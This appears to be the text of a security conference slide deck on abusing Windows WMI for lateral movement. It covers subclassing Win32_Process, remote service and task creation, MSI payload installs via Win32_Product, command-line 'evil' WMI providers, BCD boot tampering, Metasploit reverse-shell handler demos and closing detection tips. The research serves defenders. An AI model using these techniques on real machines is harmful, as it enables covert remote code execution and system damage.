No Win32_Process Needed

Expanding The WMI Lateral Movement Arsenal
About Me

- Security researcher – Cybereason
- @PhilipTsukerman
- Probably really stressed out right now
Outline

- Lateral movement and WMI
- New and improved methods
- A word about detection
Lateral Movement

Lateral Movement

The Attack Lifecycle

ATT&CK™
Adversarial Tactics, Techniques & Common Knowledge

Total Endpoint Protection: #1 in EDR & Next-Gen AV
Lateral Movement

Phishing/Exploit/etc → Initial Foothold → Credentials → Target Machine
Lateral Movement

- Abuses features, not bugs
- Features mostly work as intended
Common LM Methods

- Remote service creation / PSExec
- Remote task scheduling
- WMI Win32_Process.Create
A Bit About WMI

- A Windows feature providing object-oriented representation of applications, devices etc.
- Available remotely (through DCOM and WinRM)
A Bit About WMI

Mainly variations of

“SELECT * FROM Win32_Process”
Some Example Classes

- Win32_Process
- Win32_ProcessStartup
- Win32_ProgramGroupContents
- Win32_ProgramGroupOrItem
- Win32_ProtocolBinding
- Win32 QuickFixEngineering
- Win32_Registry
- Win32_ScheduledJob
WMI, WHAT IS IT MADE OF?
WMI, What is it made of?

- Winmgmt service
- Providers
- Repository
The WINMGMT Service

- A mediator between the WMI model and client applications
WMI Providers

- Contain the implementations of WMI classes, instances and methods
- Most commonly implemented as COM DLLs
The WMI repository

- The central storage area for the WMI model
- Contains definitions and instances
The Win32_Process Class

- Represents a single process on a machine.
- Class has a handy “Create” method
The Win32_Process Class

```powershell
PS C:\Users\philip> Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = "calc.exe"}

ProcessId  ReturnValue  PSComputerName
--------  ----------   ----------------
       6464         0
```
IS THIS ALL?
WMI Class Derivation

Be careful with how you perform your WMI detections.

```
$Class = [wmiClass] '/root/cimv2:Win32_Process'
$NewClass = $Class.Derive('Win32_NotAProcess')
$NewClass.Put()
Invoke-WmiMethod Win32_NotAProcess -Name Create -ArgumentList notepad.exe
```
Class Derivation – In Practice

- Create a subclass of Win32_Process, Win32_NotEvilAtAll, which can be done remotely via WMI

- New class has all the methods of the parent

- Call “Create”

- Win?
DEMO!
wevtutil sl Microsoft-Windows-WMI-Activity/Trace /e:true
Looks Good!
Some Takeaways

Deriving classes without methods works better: no provider method calls
Some Takeaways

- `SELECT * FROM __InstanceCreationEvent WITHIN 5 Where TargetInstance ISA "SOMECLASS"`
- This also looks at subclasses
Some Takeaways

- Cloning a class as a stealthier alternative for derivation doesn’t work

:(

Total Endpoint Protection: #1 in EDR & Next-Gen AV
WMIIFIYING OLD TECHNIQUES
Why Even Do this?

- Uses WMI protocols instead of native ones
- Network forensics will look for these in other places
WMIifying Service Creation

- Win32_Service represents a single service on a machine
- Provides the full capability of sc.exe
## WMIifying Service Creation

```powershell
PS C:\Users\philip> (Get-CimClass Win32_Service).CimClassMethods

<table>
<thead>
<tr>
<th>Name</th>
<th>ReturnType</th>
<th>Parameters</th>
</tr>
</thead>
<tbody>
<tr>
<td>StartService</td>
<td>UInt32</td>
<td>{}</td>
</tr>
<tr>
<td>StopService</td>
<td>UInt32</td>
<td>{}</td>
</tr>
<tr>
<td>PauseService</td>
<td>UInt32</td>
<td>{}</td>
</tr>
<tr>
<td>ResumeService</td>
<td>UInt32</td>
<td>{}</td>
</tr>
<tr>
<td>InterrogateService</td>
<td>UInt32</td>
<td>{}</td>
</tr>
<tr>
<td>UserControlService</td>
<td>UInt32</td>
<td>{ControlCode}</td>
</tr>
<tr>
<td>Create</td>
<td>UInt32</td>
<td>{DesktopInteract, DisplayName, ErrorControl}...</td>
</tr>
<tr>
<td>Change</td>
<td>UInt32</td>
<td>{DesktopInteract, DisplayName, ErrorControl}...</td>
</tr>
<tr>
<td>ChangeStartMode</td>
<td>UInt32</td>
<td>{StartMode}</td>
</tr>
<tr>
<td>Delete</td>
<td>UInt32</td>
<td>{}</td>
</tr>
<tr>
<td>GetSecurityDescriptor</td>
<td>UInt32</td>
<td>{Descriptor}</td>
</tr>
<tr>
<td>SetSecurityDescriptor</td>
<td>UInt32</td>
<td>{Descriptor}</td>
</tr>
</tbody>
</table>
```
Service Creation - Alternative Classes

- Win32_Service
- Win32_SystemDriver
- Win32_TerminalService
- Win32_BaseService
## Standard Service Creation

```
<table>
<thead>
<tr>
<th>Service</th>
<th>Code</th>
</tr>
</thead>
<tbody>
<tr>
<td>DCE RPC</td>
<td>286</td>
</tr>
<tr>
<td>DCE RPC</td>
<td>230</td>
</tr>
<tr>
<td>SVCCTL</td>
<td>262</td>
</tr>
<tr>
<td>SVCCTL</td>
<td>218</td>
</tr>
<tr>
<td>SVCCTL</td>
<td>330</td>
</tr>
<tr>
<td>SVCCTL</td>
<td>222</td>
</tr>
<tr>
<td>SVCCTL</td>
<td>218</td>
</tr>
<tr>
<td>SVCCTL</td>
<td>222</td>
</tr>
</tbody>
</table>

**Bind: call_id: 2, Fragment: Single, 2 context items:**
- SVCCTL V2.0 (32bit NDR), SVCCTL V2.0 (6cb71c2c-9812-4540-0300-0000)

**OpenSCManagerW request:**
- \192.168.37.128

**CreateServiceW request**

**CreateServiceW response**

**CloseServiceHandle request, (null)**

**CloseServiceHandle response**

**CloseServiceHandle request, OpenSCManagerW(\\192.168.37.128\\)**

**CloseServiceHandle response**

---

[Response in frame: 37]

- Policy Handle: OpenSCManagerW(\\192.168.37.128\\)
- Service Name: test
  - NULL Pointer: Display Name
- Access Mask: 0x000f01ff
- Service Type: 0x00000010
  - Service Start Type: SERVICE_DEMAND_START (3)
- Service Error Control: SERVICE_ERROR_NORMAL (1)
- Binary Path Name: notepad.exe
Same Thing, But WMI

Call ID: 3
Alloc hint: 10204
Context ID: 0
Ounum: 24

Object UUID: 00025813-03c8-0000-82e0-a8bf64e7b3b4
Auth type: NTLMSSP (18)
Auth level: Packet privacy (6)
Auth pad len: 0
Auth Rsvd: 0
Auth Context ID: 0

[Response in frame: 88]

NTLMSSP Verifier

Encrypted stub data: 7c57ac527afbd4471171c45d511d652b018d08e6485cc0be5...
WMIifying Old-Style Scheduled Tasks

- `Win32_ScheduledJob` represents tasks created by `at.exe`
- Does not provide the full API of old-style scheduled tasks
WMIifying Old-Style Scheduled Tasks

```
PS C:\Users\philip> (Get-CimClass Win32_ScheduledJob).CimClassMethods

Name   ReturnType Parameters

Create  UInt32   {Command, DaysOfMonth, DaysOfWeek, InteractWithDesktop...}
Delete  UInt32   {}  
```
WMLifying Old-Style Scheduled Tasks

- Inability to run tasks directly can be easily overcome
- This method won’t work on newer operating systems
WMLifying New-Style Scheduled Tasks

- The PS_ScheduledTask provides the full API for schtasks.exe tasks
- Only available for Win8+
WMlifying New-Style Scheduled Tasks

```powershell
PS C:\Users\philip> (Get-CimClass PS_ScheduledTask -namespace root/Microsoft/Windows/TaskScheduler).CimClassMethods

<table>
<thead>
<tr>
<th>Name</th>
<th>ReturnType</th>
<th>Parameters</th>
</tr>
</thead>
<tbody>
<tr>
<td>RegisterByObject</td>
<td>UInt32</td>
<td>{Force, InputObject, Password, TaskName...}</td>
</tr>
<tr>
<td>RegisterByPrincipal</td>
<td>UInt32</td>
<td>{Action, Description, Force, Principal...}</td>
</tr>
<tr>
<td>RegisterByUser</td>
<td>UInt32</td>
<td>{Action, Description, Force, Password...}</td>
</tr>
<tr>
<td>RegisterByXml</td>
<td>UInt32</td>
<td>{Force, Password, TaskName, TaskPath...}</td>
</tr>
<tr>
<td>NewActionByExec</td>
<td>UInt32</td>
<td>{Argument, Execute, Id, WorkingDirectory...}</td>
</tr>
<tr>
<td>NewPrincipalByGroup</td>
<td>UInt32</td>
<td>{GroupId, Id, ProcessTokenSidType, RequiredPr...}</td>
</tr>
<tr>
<td>NewPrincipalByUser</td>
<td>UInt32</td>
<td>{Id, LogonType, ProcessTokenSidType, Required...}</td>
</tr>
<tr>
<td>NewSettings</td>
<td>UInt32</td>
<td>{AllowStartIfOnBatteries, Compatibility, Dele...}</td>
</tr>
<tr>
<td>StartByObject</td>
<td>UInt32</td>
<td>{InputObject}</td>
</tr>
<tr>
<td>StartByPath</td>
<td>UInt32</td>
<td>{TaskName, TaskPath}</td>
</tr>
<tr>
<td>StopByObject</td>
<td>UInt32</td>
<td>{InputObject}</td>
</tr>
<tr>
<td>StopByPath</td>
<td>UInt32</td>
<td>{TaskName, TaskPath}</td>
</tr>
<tr>
<td>SetByObject</td>
<td>UInt32</td>
<td>{InputObject, Password, User, cmdletoutput}</td>
</tr>
<tr>
<td>SetByPrincipal</td>
<td>UInt32</td>
<td>{Action, Principal, Settings, TaskName...}</td>
</tr>
<tr>
<td>SetByUser</td>
<td>UInt32</td>
<td>{Action, Password, Settings, TaskName...}</td>
</tr>
<tr>
<td>GetInfoByName</td>
<td>UInt32</td>
<td>{TaskName, TaskPath, cmdletoutput}</td>
</tr>
<tr>
<td>GetInfoByObject</td>
<td>UInt32</td>
<td>{InputObject, cmdletoutput}</td>
</tr>
<tr>
<td>New</td>
<td>UInt32</td>
<td>{Action, Description, Principal, Settings...}</td>
</tr>
</tbody>
</table>
```
DEMO!
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 119.184.214.19:9090
[*] Starting the payload handler...
WIN32_PRODUCT
The Win32_Product Class

- The Win32_Product class manages applications installed on the machine (via msiexec etc.)
- “Install” method allows to install arbitrary MSI files!
# The Win32_Product Class

```
PS C:\Users\philip> (Get-CimClass Win32_Product).CimClassMethods

<table>
<thead>
<tr>
<th>Name</th>
<th>ReturnType</th>
<th>Parameters</th>
<th>Qualifiers</th>
</tr>
</thead>
<tbody>
<tr>
<td>Install</td>
<td>Uint32</td>
<td>{AllUsers, Options, PackageLocation}</td>
<td>{Implemented...}</td>
</tr>
<tr>
<td>Admin</td>
<td>Uint32</td>
<td>{Options, PackageLocation, TargetLocation}</td>
<td>{Implemented...}</td>
</tr>
<tr>
<td>Advertise</td>
<td>Uint32</td>
<td>{AllUsers, Options, PackageLocation}</td>
<td>{Implemented...}</td>
</tr>
<tr>
<td>Reinstall</td>
<td>Uint32</td>
<td>{ReinstallMode}</td>
<td>{Implemented...}</td>
</tr>
<tr>
<td>Upgrade</td>
<td>Uint32</td>
<td>{Options, PackageLocation}</td>
<td>{Implemented...}</td>
</tr>
<tr>
<td>Configure</td>
<td>Uint32</td>
<td>{InstallLevel, InstallState, Options}</td>
<td>{Implemented...}</td>
</tr>
<tr>
<td>Uninstall</td>
<td>Uint32</td>
<td>{}</td>
<td>{Implemented...}</td>
</tr>
</tbody>
</table>
```
The Win32_Product Class

- Metasploit is able to package arbitrary payloads into MSI files.

```bash
root@kali:~# msfvenom --help-formats
Executable formats
asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-service, exe-small,
hta-psh, loop-vbs, macho, \textbf{msi, msi-nouac,} osx-app, psh, psh-net, psh-reflection,
psh-cmd, vba, vba-exe, vba-psh, vbs, war
Transform formats
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl,
powershell, ps1, py, python, raw, rb, ruby, sh,
vapplication, vbscript
```
The Cool Kids Already Use MSI

ANALYSIS OF A DUQU 2.0 MSI PACKAGE

Filename: random / varies from case to case
MD5 (example, can vary): 14712103dddf9f6e77fa5c9a3288bd5ee
Size: 503,296 bytes
DEMO!
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 119.184.214.19:9090
[*] Starting the payload handler...
Less Successful Adventures With Win32_Product

- No way to replicate "msiexec /y"
- Hijacking uninstallers does not work

:(

No way to replicate "msiexec /y"
Hijacking uninstallers does not work
EVIL WMI PROVIDERS
Evil WMI Providers

- WMI providers are where class instances and methods are implemented
- Having your own provider means running code on the machine
Evil WMI Providers

- Alexander Leary of NETSPI has shown a method to register a provider purely using WMI functions during the last DerbyCon
Evil WMI Providers – Drawbacks

- Need to drop a file on the machine
- Actually writing a WMI dll sucks  :( 
Evil WMI Providers

- We want to have our provider just be an arbitrary command line
What Needs To Be Done

- Create a COM object
- Register a new provider
- Somehow load the provider
Creating a COM Object

- Create an OOP COM object inserting a new entry in the registry

```
Computer\HKEY_CLASSES_ROOT\CLSID\{266C72E7-62E8-11D1-AD89-000000000000}\LocalServer32
```

```
ab (Default) REG_SZ powershell.exe -Command & {start-process calc.exe}
```
### Registering Providers

```
PS C:\WINDOWS\system32> (Get-CimClass _Win32Provider).CimClassProperties|Format-Table

<table>
<thead>
<tr>
<th>Name</th>
<th>Value</th>
<th>CIMType</th>
<th>Flags</th>
<th>Qualifiers</th>
<th>ReferenceClassName</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>String Property, Key, NullValue {key}</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ClientLoadableCLSID</td>
<td>String</td>
<td>Property, NullValue {}</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>CLSID</td>
<td>String</td>
<td>Property, NullValue {}</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Concurrency</td>
<td>SInt32</td>
<td>Property, NullValue {}</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>DefaultMachineName</td>
<td>String</td>
<td>Property, NullValue {}</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Enabled</td>
<td>Boolean</td>
<td>Property, NullValue {}</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>HostingModel</td>
<td>String</td>
<td>Property, NullValue {}</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ImpersonationLevel</td>
<td>0 SInt32</td>
<td>Property, NullValue {}</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>InitializationReentrancy</td>
<td>0 SInt32</td>
<td>Property, NullValue {}</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>InitializationTimeoutInterval</td>
<td>DateTime</td>
<td>Property, NullValue {}</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>InitializeAsAdminFirst</td>
<td>Boolean</td>
<td>Property, NullValue {}</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>OperationTimeoutInterval</td>
<td>DateTime</td>
<td>Property, NullValue {}</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>PerLocaleInitialization</td>
<td>False</td>
<td>Boolean</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>PerUserInitialization</td>
<td>False</td>
<td>Boolean</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Pure</td>
<td>True</td>
<td>Boolean</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SecurityDescriptor</td>
<td>String</td>
<td>Property, NullValue {}</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SupportsExplicitShutdown</td>
<td>Boolean</td>
<td>Property, NullValue {}</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SupportsExtendedStatus</td>
<td>Boolean</td>
<td>Property, NullValue {}</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SupportsQuotas</td>
<td>Boolean</td>
<td>Property, NullValue {}</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SupportsSendStatus</td>
<td>Boolean</td>
<td>Property, NullValue {}</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SupportsShutdown</td>
<td>Boolean</td>
<td>Property, NullValue {}</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SupportsThrottling</td>
<td>Boolean</td>
<td>Property, NullValue {}</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>UnloadTimeout</td>
<td>DateTime</td>
<td>Property, NullValue {}</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Version</td>
<td>UInt32</td>
<td>Property, NullValue {}</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
```
Registering Providers

- Creating an instance of __Win32Provider is enough
- CLSID and HostingModel fields allow to choose any type of COM object to be registered
Loading The Malicious Provider

- Normally, a provider is loaded on demand
- Our arbitrary executable does not implement classes, and cannot be loaded this way
Loading The Malicious Provider

- The MSFT_Providers class has a method called "Load", which loads any WMI provider regardless of demand.
### The Msft_Providers Class

```
PS C:\Users\philip> (Get-CimClass Msft_Providers).CimClassMethods

<table>
<thead>
<tr>
<th>Name</th>
<th>ReturnType</th>
<th>Parameters</th>
</tr>
</thead>
<tbody>
<tr>
<td>Suspend</td>
<td>UInt32</td>
<td>{}</td>
</tr>
<tr>
<td>Resume</td>
<td>UInt32</td>
<td>{}</td>
</tr>
<tr>
<td>UnLoad</td>
<td>UInt32</td>
<td>{}</td>
</tr>
<tr>
<td>Load</td>
<td>UInt32</td>
<td>{Locale, Namespace, provider, TransactionIdentifier...}</td>
</tr>
</tbody>
</table>
```
The Msft_Providers Class

- The “Load” method checks if the __Win32Provider is registered correctly, and calls “CServerObject_RawFactory::CreateInstance”
CServerObject_RawFactory::Create Instance

```c
and [rsp+120h+var_B8], 0
lea rax, [rsp+120h+Dst]
and [rsp+120h+var_A8], 0
lea rdx, [rbp+20h+sz]; lpsz
and [rsp+120h+var_F0], 0
mov r8d, 40h ; cchMax
mov rcx, rbx ; rguid
mov [rsp+120h+var_B0], rax
call cs::__imp_StringFromGUID2
mov edx, [rsi] ; dwClsContext
lea rax, [rsp+120h+var_F0]
lea r9, IID_IClassFactory ; riid
mov [rsp+120h+ppv], rax ; ppv
lea r8, [rsp+120h+puReserved] ; puReserved
mov rcx, rbx ; rclsid
call cs::__imp_CoGetClassObject
mov ebx, eax
test eax, eax
je loc_1800343B3
```
CServerObject_RawFactory::Create Instance

- Checks the LocalServer32 key under the relevant CLSID
- Runs the command line
- Tries to query the relevant interfaces
- Fails
- Everything is fine because we don't really care about the COM stuff at all
A Bit About Stealth

- The “SelfHost” hosting model runs as SYSTEM, but leaves a nasty entry in the event log.
- NetworkServiceHostOrSelfHost defaults to SelfHost without a log write.
A Bit About Stealth

The server (FFFF614-B694-4AE6-AB38-000000000000) did not register with DCOM within the required timeout.
DEMO!
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 119.184.214.19:9090
[*] Starting the payload handler...
BONUS: MESSING WITH BOOT CONFIGURATION
Messing With Boot Configuration
Messing With Boot Configuration

- The BCDObject class allows to manipulate entries in the BCD store, such as winload.exe.
- This allows an attacker to remotely manipulate the Windows loading process.
How To Mess With Boot Config Via WMI

- Open the system BCD using an instance of the BCDStore class
- Open the BCDObject related to winload.exe
- Switch winload.exe with calc.exe, as you haven’t really written a compatible bootkit
- Wait for the machine to restart
- Ponder your life choices as the victim machine is stuck in a very understandable boot loop
DEMO!
DETECTION
A Bit About Detection

- The WMI-Activity ETW provider is a great source of information

```
PS C:\Users\administrator.DARKCAP> Get-WinEvent -FilterHashtable @{logname='Microsoft-Windows-WMI-Activity/Trace'; Id=11} -oldest
>> * {_.TimeCreated.tostring() + ' - ' + _.properties[3].value }
2/25/2018 2:45:07 PM - IWbemServices::Connect
2/25/2018 2:45:07 PM - IWbemServices::PutClass - root\cimv2 : Win32_Not EvilAtAll
2/25/2018 2:45:07 PM - IWbemServices::Connect
2/25/2018 2:45:08 PM - IWbemServices::Connect
2/25/2018 2:45:08 PM - IWbemServices::ExecMethod - root\cimv2 : Win32_Not EvilAtAll::Create
2/25/2018 2:45:08 PM - IWbemServices::Connect
PS C:\Users\administrator.DARKCAP> -
```
A Bit About Detection

- Another great method is WMI introspection, using WMI queries to audit WMI
  'SELECT * FROM __InstanceCreationEvent WITHIN 5 Where TargetInstance ISA "__Win32Provider"'
A Bit About Detection

- Some software (and hardware) vendors add classes and providers to WMI, expanding the attack surface.
- Knowing what WMI providers and classes exist on your machines will only do you good.
THANK YOU!